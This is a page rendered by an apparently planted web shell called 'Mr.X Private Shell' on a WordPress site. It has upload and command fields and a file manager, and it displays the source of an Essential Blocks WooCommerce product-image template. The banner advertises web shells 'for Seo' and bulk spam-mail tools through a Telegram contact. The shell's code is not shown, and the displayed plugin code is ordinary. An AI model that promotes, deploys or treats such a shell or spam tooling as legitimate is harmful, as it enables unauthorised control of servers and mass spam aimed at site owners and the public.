__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
    defined( 'ABSPATH' ) || exit;

    global $product;

    if(! $product ) return;

    $wrapper_attributes = get_block_wrapper_attributes(
		[
			'class' => 'root-' . $blockId,
		]
	);

    $post_thumbnail_id = $product->get_image_id();
    $attachment_ids = $product->get_gallery_image_ids();

    $wrapper_classes = [
        $blockId,
        is_array($attachment_ids) && count($attachment_ids) <= 4 ? 'eb-product-images-disable-nav' : ''
    ];

?>


<div <?php echo wp_kses_data( $wrapper_attributes); ?>>
    <div class="eb-parent-wrapper eb-parent-<?php echo esc_attr( $blockId ); ?> <?php echo esc_attr( $classHook ); ?>">
        <div class="<?php echo esc_attr( implode(" ",$wrapper_classes )); ?> eb-product-images-wrapper"
            data-id="<?php echo esc_attr( $blockId ); ?>"
            data-settings="<?php echo esc_attr(wp_json_encode($settings)); ?>"
            data-nav-settings="<?php echo esc_attr(wp_json_encode($nav_settings)); ?>"
            data-enable-zoom="<?php echo esc_attr($enableZoom ? 'true' : 'false'); ?>">

            <?php
                if( $post_thumbnail_id && is_array($attachment_ids) && ! empty($attachment_ids)) {
                    $helper::views(
                        'woocommerce/gallery',
                        [
                            'thumbnail_id'     => $post_thumbnail_id,
                            'attachment_ids'   => $attachment_ids,
                            'gallery_position' => $galleryPosition
                        ]
                    );
                } else if ($post_thumbnail_id) {
                    $helper::views(
                        'woocommerce/image',
                        [
                            'thumbnail_id'     => $post_thumbnail_id,
                        ]
                    );
                } else { ?>
            <div class="woocommerce-product-gallery__image--placeholder">
                <?php
                            echo sprintf( '<img src="%s" alt="%s" class="wp-post-image" />', esc_url( wc_placeholder_img_src( 'woocommerce_single' ) ), esc_html__( 'Awaiting product image', 'essential-blocks' ) );
                        ?>
            </div>
            <?php }
            ?>
        </div>
    </div>
</div>

Filemanager

Name Type Size Permission Actions
advanced-image Folder 0750
common Folder 0750
forms Folder 0750
insta-partials Folder 0750
post-partials Folder 0750
woocommerce Folder 0750
admin.php File 230 B 0640
form-block.php File 2.37 KB 0640
instagram-feed.php File 2.86 KB 0640
post-carousel.php File 2.56 KB 0640
post-grid.php File 3.78 KB 0640
post-meta.php File 10.66 KB 0640
product-grid.php File 3.67 KB 0640
product-images.php File 2.21 KB 0640
quick-setup.php File 222 B 0640
social-share.php File 2.46 KB 0640
taxonomy.php File 613 B 0640
welcome.php File 6.39 KB 0640
Filemanager